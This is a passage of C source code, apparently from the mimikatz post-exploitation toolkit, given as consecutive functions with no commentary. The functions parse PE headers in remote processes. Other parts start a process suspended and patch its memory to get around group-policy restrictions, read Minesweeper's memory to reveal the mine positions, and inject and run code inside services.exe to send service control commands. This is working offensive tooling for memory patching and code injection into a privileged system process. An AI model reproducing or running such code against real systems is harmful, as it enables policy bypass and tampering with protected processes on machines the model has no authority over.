void kull_m_process_adjustTimeDateStamp(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION information) { PIMAGE_NT_HEADERS ntHeaders; if (kull_m_process_ntheaders(&information->DllBase, &ntHeaders)) { information->TimeDateStamp = ntHeaders->FileHeader.TimeDateStamp; LocalFree(ntHeaders); } else information->TimeDateStamp = 0; }
BOOL kull_m_process_datadirectory(PKULL_M_MEMORY_ADDRESS pBase, DWORD entry, PDWORD pRva, PDWORD pSize, PWORD pMachine, PVOID *pData) { BOOL status = FALSE; KULL_M_MEMORY_HANDLE hBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aBuffer = {NULL, &hBuffer}; KULL_M_MEMORY_ADDRESS aProcess= *pBase; DWORD rva, size; PIMAGE_NT_HEADERS pNtHeaders; if(kull_m_process_ntheaders(pBase, &pNtHeaders)) { if(pMachine) *pMachine = pNtHeaders->FileHeader.Machine; if(pNtHeaders->FileHeader.Machine == IMAGE_FILE_MACHINE_I386) { rva = ((PIMAGE_NT_HEADERS32) pNtHeaders)->OptionalHeader.DataDirectory[entry].VirtualAddress; size = ((PIMAGE_NT_HEADERS32) pNtHeaders)->OptionalHeader.DataDirectory[entry].Size; } else { rva = ((PIMAGE_NT_HEADERS64) pNtHeaders)->OptionalHeader.DataDirectory[entry].VirtualAddress; size = ((PIMAGE_NT_HEADERS64) pNtHeaders)->OptionalHeader.DataDirectory[entry].Size; } if(pRva) *pRva = rva; if(pSize) *pSize = size; if(rva && size && pData) { if(*pData = LocalAlloc(LPTR, size)) { aProcess.address = (PBYTE) pBase->address + rva; aBuffer.address = *pData; status = kull_m_memory_copy(&aBuffer, &aProcess, size); if(!status) LocalFree(*pData); } } LocalFree(pNtHeaders); } return status; }
BOOL kuhl_m_misc_generic_nogpo_patch(PCWSTR commandLine, PWSTR disableString, SIZE_T szDisableString, PWSTR enableString, SIZE_T szEnableString) { BOOL status = FALSE; PEB Peb; PROCESS_INFORMATION processInformation; PIMAGE_NT_HEADERS pNtHeaders; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aBaseAdress = {NULL, NULL}, aPattern = {disableString, &hLocalMemory}, aPatch = {enableString, &hLocalMemory}; KULL_M_MEMORY_SEARCH sMemory; if(kull_m_process_create(KULL_M_PROCESS_CREATE_NORMAL, commandLine, CREATE_SUSPENDED, NULL, 0, NULL, NULL, NULL, &processInformation, FALSE)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, processInformation.hProcess, &aBaseAdress.hMemory)) { if(kull_m_process_peb(aBaseAdress.hMemory, &Peb, FALSE)) { aBaseAdress.address = Peb.ImageBaseAddress; if(kull_m_process_ntheaders(&aBaseAdress, &pNtHeaders)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = aBaseAdress.hMemory; sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase; sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage; if(status = kull_m_patch(&sMemory, &aPattern, szDisableString, &aPatch, szEnableString, 0, NULL, 0, NULL, NULL)) kprintf(L"Patch OK for \'%s\' from \'%s\' to \'%s\' @ %p\n", commandLine, disableString, enableString, sMemory.result); else PRINT_ERROR_AUTO(L"kull_m_patch"); LocalFree(pNtHeaders); } } kull_m_memory_close(aBaseAdress.hMemory); } NtResumeProcess(processInformation.hProcess); CloseHandle(processInformation.hThread); CloseHandle(processInformation.hProcess); } return status; }
NTSTATUS kuhl_m_minesweeper_infos(int argc, wchar_t * argv[]) { DWORD dwPid, r, c; HANDLE hProcess; PEB Peb; PIMAGE_NT_HEADERS pNtHeaders; PVOID G = NULL; STRUCT_MINESWEEPER_GAME Game; STRUCT_MINESWEEPER_BOARD Board; KULL_M_MEMORY_SEARCH sMemory = {{{NULL, NULL}, 0}, NULL}; KULL_M_MEMORY_ADDRESS aRemote = {NULL, NULL}, aBuffer = {PTRN_WIN6_Game_SafeGetSingleton, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; BOOL bAlloc = FALSE; LONG offsetTemp = 0; CHAR ** field = NULL; if(kull_m_process_getProcessIdForName(L"minesweeper.exe", &dwPid)) { if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, dwPid)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aRemote.hMemory)) { if(kull_m_process_peb(aRemote.hMemory, &Peb, FALSE)) { aRemote.address = Peb.ImageBaseAddress; if(kull_m_process_ntheaders(&aRemote, &pNtHeaders)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = aRemote.hMemory; sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase; sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage; if(kull_m_memory_search(&aBuffer, sizeof(PTRN_WIN6_Game_SafeGetSingleton), &sMemory, TRUE)) { aRemote.address = (PBYTE) sMemory.result + OFFS_WIN6_ToG; #ifdef _M_X64 aBuffer.address = &offsetTemp; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(LONG))) { aRemote.address = (PBYTE) aRemote.address + 1 + sizeof(LONG) + offsetTemp; #elif defined _M_IX86 aBuffer.address = &aRemote.address; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(PVOID))) { #endif aBuffer.address = &G; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(PVOID))) { aRemote.address = G; aBuffer.address = &Game; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(STRUCT_MINESWEEPER_GAME))) { #ifdef _M_IX86 if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) Game.pBoard = Game.pBoard_WIN7x86; #endif aRemote.address = Game.pBoard; aBuffer.address = &Board; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(STRUCT_MINESWEEPER_BOARD))) { kprintf(L"Field : %u r x %u c\nMines : %u\n\n", Board.cbRows, Board.cbColumns, Board.cbMines); if(field = (CHAR **) LocalAlloc(LPTR, sizeof(CHAR *) * Board.cbRows)) { for(r = 0, bAlloc = TRUE; (r < Board.cbRows) && bAlloc; r++) { if(field[r] = (CHAR *) LocalAlloc(LPTR, sizeof(CHAR) * Board.cbColumns)) bAlloc &= TRUE; else PRINT_ERROR(L"Memory C (R = %u)\n", r); } } else PRINT_ERROR(L"Memory R\n"); if(bAlloc) { kuhl_m_minesweeper_infos_parseField(aRemote.hMemory, Board.ref_visibles, field, TRUE); kuhl_m_minesweeper_infos_parseField(aRemote.hMemory, Board.ref_mines, field, FALSE); for(r = 0; r < Board.cbRows; r++) { kprintf(L"\t"); for(c = 0; c < Board.cbColumns; c++) kprintf(L"%C ", field[r][c]); kprintf(L"\n"); } } if(field) { for(r = 0; r < Board.cbRows; r++) { if(field[r]) LocalFree(field[r]); } LocalFree(field); } } else PRINT_ERROR(L"Board copy\n"); } else PRINT_ERROR(L"Game copy\n"); } else PRINT_ERROR(L"G copy\n"); } else PRINT_ERROR(L"Global copy\n"); } else PRINT_ERROR(L"Search is KO\n"); LocalFree(pNtHeaders); } else PRINT_ERROR(L"Minesweeper NT Headers\n"); } else PRINT_ERROR(L"Minesweeper PEB\n"); kull_m_memory_close(aRemote.hMemory); } CloseHandle(hProcess); } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR(L"No MineSweeper in memory!\n"); return STATUS_SUCCESS; } void kuhl_m_minesweeper_infos_parseField(PKULL_M_MEMORY_HANDLE hMemory, PSTRUCT_MINESWEEPER_REF_ELEMENT base, CHAR ** field, BOOL isVisible) { STRUCT_MINESWEEPER_REF_ELEMENT ref_first_element; PSTRUCT_MINESWEEPER_REF_ELEMENT * ref_columns_elements; STRUCT_MINESWEEPER_REF_ELEMENT ref_column_element; DWORD c, r, szFinalElement = isVisible ? sizeof(DWORD) : sizeof(BYTE); KULL_M_MEMORY_ADDRESS aRemote = {base, hMemory}, aLocal = {&ref_first_element, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; if(kull_m_memory_copy(&aLocal, &aRemote, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT))) { if(ref_columns_elements = (PSTRUCT_MINESWEEPER_REF_ELEMENT *) LocalAlloc(LPTR, sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT) * ref_first_element.cbElements)) { aLocal.address = ref_columns_elements; aRemote.address = ref_first_element.elements; if(kull_m_memory_copy(&aLocal, &aRemote, ref_first_element.cbElements * sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT))) { for(c = 0; c < ref_first_element.cbElements; c++) { aLocal.address = &ref_column_element; aRemote.address = ref_columns_elements[c]; if(kull_m_memory_copy(&aLocal, &aRemote, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT))) { if(aLocal.address = LocalAlloc(LPTR, szFinalElement * ref_column_element.cbElements)) { aRemote.address = ref_column_element.elements; if(kull_m_memory_copy(&aLocal, &aRemote, szFinalElement * ref_column_element.cbElements)) { for(r = 0; r < ref_column_element.cbElements; r++) { if(isVisible) field[r][c] = DISP_MINESWEEPER[((DWORD *)(aLocal.address))[r]]; else if(((BYTE *)(aLocal.address))[r]) field[r][c] = '*'; } } else PRINT_ERROR(L"Unable to read elements from column: %u\n", c); LocalFree(aLocal.address); } } else PRINT_ERROR(L"Unable to read references from column: %u\n", c); } } else PRINT_ERROR(L"Unable to read references\n"); LocalFree(ref_columns_elements); } } else PRINT_ERROR(L"Unable to read first element\n"); }
BOOL kuhl_service_sendcontrol_inprocess(PWSTR ServiceName, DWORD dwControl) { BOOL status = FALSE; DWORD processId, szCode; PVOID pCode; HANDLE hProcess; KULL_M_MEMORY_ADDRESS aRemoteFunc; KULL_M_MEMORY_ADDRESS aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC currentReference; PEB Peb; PIMAGE_NT_HEADERS pNtHeaders; PREMOTE_LIB_INPUT_DATA iData; REMOTE_LIB_OUTPUT_DATA oData; if(kull_m_process_getProcessIdForName(L"services.exe", &processId)) { if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, processId)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory)) { if(!pScSendControl) { if(kull_m_process_peb(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, &Peb, FALSE)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = Peb.ImageBaseAddress; if(kull_m_process_ntheaders(&sMemory.kull_m_memoryRange.kull_m_memoryAdress, &pNtHeaders)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase; sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage; if(currentReference = kull_m_patch_getGenericFromBuild(ScSendControlReferences, ARRAYSIZE(ScSendControlReferences), MIMIKATZ_NT_BUILD_NUMBER)) { aLocalMemory.address = currentReference->Search.Pattern; if(kull_m_memory_search(&aLocalMemory, currentReference->Search.Length, &sMemory, FALSE)) pScSendControl = (PBYTE) sMemory.result + currentReference->Offsets.off0; else PRINT_ERROR_AUTO(L"kull_m_memory_search"); } LocalFree(pNtHeaders); } } } if(pScSendControl) { if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_8) { szCode = (DWORD) ((PBYTE) kuhl_service_sendcontrol_std_thread_end - (PBYTE) kuhl_service_sendcontrol_std_thread); pCode = kuhl_service_sendcontrol_std_thread; } else { szCode = (DWORD) ((PBYTE) kuhl_service_sendcontrol_fast_thread_end - (PBYTE) kuhl_service_sendcontrol_fast_thread); pCode = kuhl_service_sendcontrol_fast_thread; } if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, pCode, szCode, NULL, &aRemoteFunc)) { if(iData = kull_m_remotelib_CreateInput(pScSendControl, dwControl, (DWORD) (wcslen(ServiceName) + 1) * sizeof(wchar_t), ServiceName)) { if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData)) { if(oData.outputStatus) kprintf(L"error %u\n", oData.outputStatus); else kprintf(L"OK!\n"); } else PRINT_ERROR_AUTO(L"kull_m_remotelib_create"); LocalFree(iData); } kull_m_memory_free(&aRemoteFunc, 0); } else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n"); } else PRINT_ERROR(L"Not available without ScSendControl\n"); kull_m_memory_close(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory); } CloseHandle(hProcess); } else PRINT_ERROR_AUTO(L"OpenProcess"); } return status; }